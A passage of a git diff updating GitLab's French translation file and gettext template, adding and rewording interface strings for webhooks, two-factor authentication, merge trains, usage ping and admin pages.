-msgstr "Ce projet n’a pas de facturation activée. Afin de créer une grappe de serveurs, veuillez <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">activer la facturation<i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> et réessayer."
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr "Cet utilisateur sera l’auteur de tous les événements du flux d’act
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr "Pour connecter un dépôt SVN, veuillez consulter %{svn_link}."
msgid "To define internal users, first enable new users set to external"
msgstr "Afin de définir les utilisateurs internes, veuillez d’abord activer les nouveaux utilisateurs définis comme externes"
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr "Afin d’activer et d’afficher les cohortes d’utilisateurs, consultez les %{application_settings_link_start}paramètres de l’application%{application_settings_link_end}."
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr "Afin d’afficher la feuille de route, ajoutez une date de début ou d’échéance à l’une de vos épopées dans ce groupe ou ses sousâ€groupes. Dans la vue multiâ€mensuelle, seules les épopées du mois dernier, du mois courant et des cinq prochains mois sont affichées."
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr "Aujourd’hui"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Demain"
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr "Déclencher des pipelines pour les mises à jour de miroirs"
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "Activer le service d’assistance"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -25747,12 +26447,24 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr ""
-
msgid "Two-factor authentication"
msgstr "Authentification à double facteur"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "Type"
@@ -25933,8 +26645,8 @@ msgstr "Déverrouiller"
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "Déverrouiller %{issuableDisplayName} ? <strong>Tout le monde</strong> sera en mesure de commenter."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "Déverrouillé"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "Non vérifié"
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,8 +26834,8 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "Mettez à niveau votre forfait pour activer la recherche globale avancée."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr ""
@@ -26197,8 +26909,8 @@ msgstr "Votes positifs"
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
-msgstr "L’envoi des données d’utilisation est désactivé"
+msgid "Usage ping is off"
+msgstr ""
msgid "Usage statistics"
msgstr "Statistiques d’utilisation"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr "Le service d’assistance (Service Desk) permet d’interagir avec vos utilisateurs (p. ex., pour offrir un support client) par courriel depuis GitLab"
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr "Les cohortes d’utilisateurs ne sont affichées que lorsque la %{usage_ping_link_start}collecte des données d’utilisation%{usage_ping_link_end} est activée."
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr "Version"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr "Les webhooks vous permettent de déclencher une URL si, par exemple, du
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,11 +28328,11 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Vous êtes sur le point de supprimer %{project_full_name}. Les projets supprimés NE PEUVENT PAS être restaurés ! Êtesâ€vous ABSOLUMENT sûr·e ?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "Vous allez transférer %{project_full_name} à un nouveau ou une nouvelle propriétaire. Êtesâ€vous VRAIMENT sûr(e) ?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr "Vous ne pouvez pas écrire sur cette instance GitLab en lecture seule."
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr "Vous devez %{set_password_link} pour votre compte afin de pouvoir récup
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "Vous ne pourrez pas récupérer ou pousser de code via SSH tant que vous n’aurez pas ajouté de clef SSH à votre profil"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr "Vos groupes"
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr "entre autres choses"
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr "Vous êtes sur le point de désactiver la confidentialité. Cela signifie que <strong>tout le monde</strong> sera en mesure de voir et de laisser un commentaire sur ce ticket."
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr "Vous êtes sur le point de d’activer la confidentialité. Cela signifie que seuls les membres de l’équipe avec <strong>au moins un accès en tant que rapporteur</strong> seront en mesure de voir et de laisser des commentaires sur le ticket."
-
msgid "connecting"
msgstr "connexion en cours"
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr "de"
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] "instance terminée"
@@ -28789,6 +29611,9 @@ msgstr "n’est pas un certificat X.509 valide."
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr "%{metricsLinkStart}L’usage mémoire%{metricsLinkEnd} %{emphasisStart}e
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr "Autoriser les commits des membres qui peuvent fusionner dans la branche cible"
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr "Une erreur est survenue lors de l’envoi de votre approbation."
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr "Si la branche %{branch} existe dans votre dépôt local, vous pouvez fus
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Si la branche %{missingBranchName} existe dans votre dépôt local, vous pouvez fusionner cette demande de fusion manuellement en ligne de commande"
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr "Fusionnée par"
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr "Ouvrir dans l’EDI Web"
@@ -29148,6 +29973,12 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr "Il y a des conflits de fusion"
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
@@ -29157,12 +29988,6 @@ msgstr "Cette demande de fusion n’a pas pu être fusionnée automatiquement"
msgid "mrWidget|This merge request is in the process of being merged"
msgstr "Cette demande de fusion est en cours de fusion"
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
-msgstr ""
-
msgid "mrWidget|This project is archived, write access has been disabled"
msgstr "Ce projet est archivé, l’accès en écriture a été désactivé"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr "ce document"
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr "pour aider vos contributeurs à communiquer efficacement !"
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/gitlab.pot b/locale/gitlab.pot
index e81e3f3b2e0..d1a09d9fa8b 100644
--- a/locale/gitlab.pot
+++ b/locale/gitlab.pot
@@ -8,6 +8,8 @@ msgid ""
msgstr ""
"Project-Id-Version: gitlab 1.0.0\n"
"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2020-09-17 11:26-0400\n"
+"PO-Revision-Date: 2020-09-17 11:26-0400\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"Language: \n"
@@ -16,6 +18,9 @@ msgstr ""
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
+msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgstr ""
+
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +61,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +76,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -134,6 +142,11 @@ msgstr[1] ""
msgid "%d commits"
msgstr ""
+msgid "%d completed issue"
+msgid_plural "%d completed issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d contribution"
msgid_plural "%d contributions"
msgstr[0] ""
@@ -234,6 +247,11 @@ msgid_plural "%d more comments"
msgstr[0] ""
msgstr[1] ""
+msgid "%d open issue"
+msgid_plural "%d open issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d personal project will be removed and cannot be restored."
msgid_plural "%d personal projects will be removed and cannot be restored."
msgstr[0] ""
@@ -289,6 +307,11 @@ msgid_plural "%d vulnerabilities dismissed"
msgstr[0] ""
msgstr[1] ""
+msgid "%d warning found:"
+msgid_plural "%d warnings found:"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%s additional commit has been omitted to prevent performance issues."
msgid_plural "%s additional commits have been omitted to prevent performance issues."
msgstr[0] ""
@@ -327,6 +350,9 @@ msgstr ""
msgid "%{commit_author_link} authored %{commit_timeago}"
msgstr ""
+msgid "%{completedCount} completed weight"
+msgstr ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -383,6 +409,9 @@ msgstr[1] ""
msgid "%{count} related %{pluralized_subject}: %{links}"
msgstr ""
+msgid "%{count} total weight"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -395,6 +424,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -422,7 +454,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -446,7 +478,7 @@ msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
-msgid "%{issuesSize} issues with a limit of %{maxIssueCount}"
+msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
@@ -509,9 +541,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -542,6 +571,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -654,6 +695,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -664,9 +708,6 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
-msgid "%{service_title} %{message}."
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -755,6 +796,12 @@ msgstr ""
msgid "%{timebox_name} should belong either to a project or a group."
msgstr ""
+msgid "%{timebox_type} does not support burnup charts"
+msgstr ""
+
+msgid "%{timebox_type} must have a start and due date"
+msgstr ""
+
msgid "%{title} %{operator} %{threshold}"
msgstr ""
@@ -773,10 +820,13 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
-msgid "%{total} open issues"
+msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
@@ -806,6 +856,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -839,6 +892,9 @@ msgstr ""
msgid "'%{name}' Value Stream created"
msgstr ""
+msgid "'%{name}' Value Stream deleted"
+msgstr ""
+
msgid "'%{name}' stage already exists"
msgstr ""
@@ -1075,7 +1131,7 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
+msgid "A %{incident_docs_start}modified issue%{incident_docs_end} to guide the resolution of incidents."
msgstr ""
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
@@ -1141,7 +1197,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1378,6 +1434,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1524,6 +1583,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1536,6 +1598,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1554,9 +1619,6 @@ msgstr ""
msgid "Add label(s)"
msgstr ""
-msgid "Add license"
-msgstr ""
-
msgid "Add list"
msgstr ""
@@ -1731,21 +1793,51 @@ msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Components"
+msgstr ""
+
msgid "AdminArea|Developer"
msgstr ""
+msgid "AdminArea|Features"
+msgstr ""
+
+msgid "AdminArea|Groups: %{number_of_groups}"
+msgstr ""
+
msgid "AdminArea|Guest"
msgstr ""
msgid "AdminArea|Included Free in license"
msgstr ""
+msgid "AdminArea|Latest groups"
+msgstr ""
+
+msgid "AdminArea|Latest projects"
+msgstr ""
+
+msgid "AdminArea|Latest users"
+msgstr ""
+
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|New group"
+msgstr ""
+
+msgid "AdminArea|New project"
+msgstr ""
+
+msgid "AdminArea|New user"
+msgstr ""
+
msgid "AdminArea|Owner"
msgstr ""
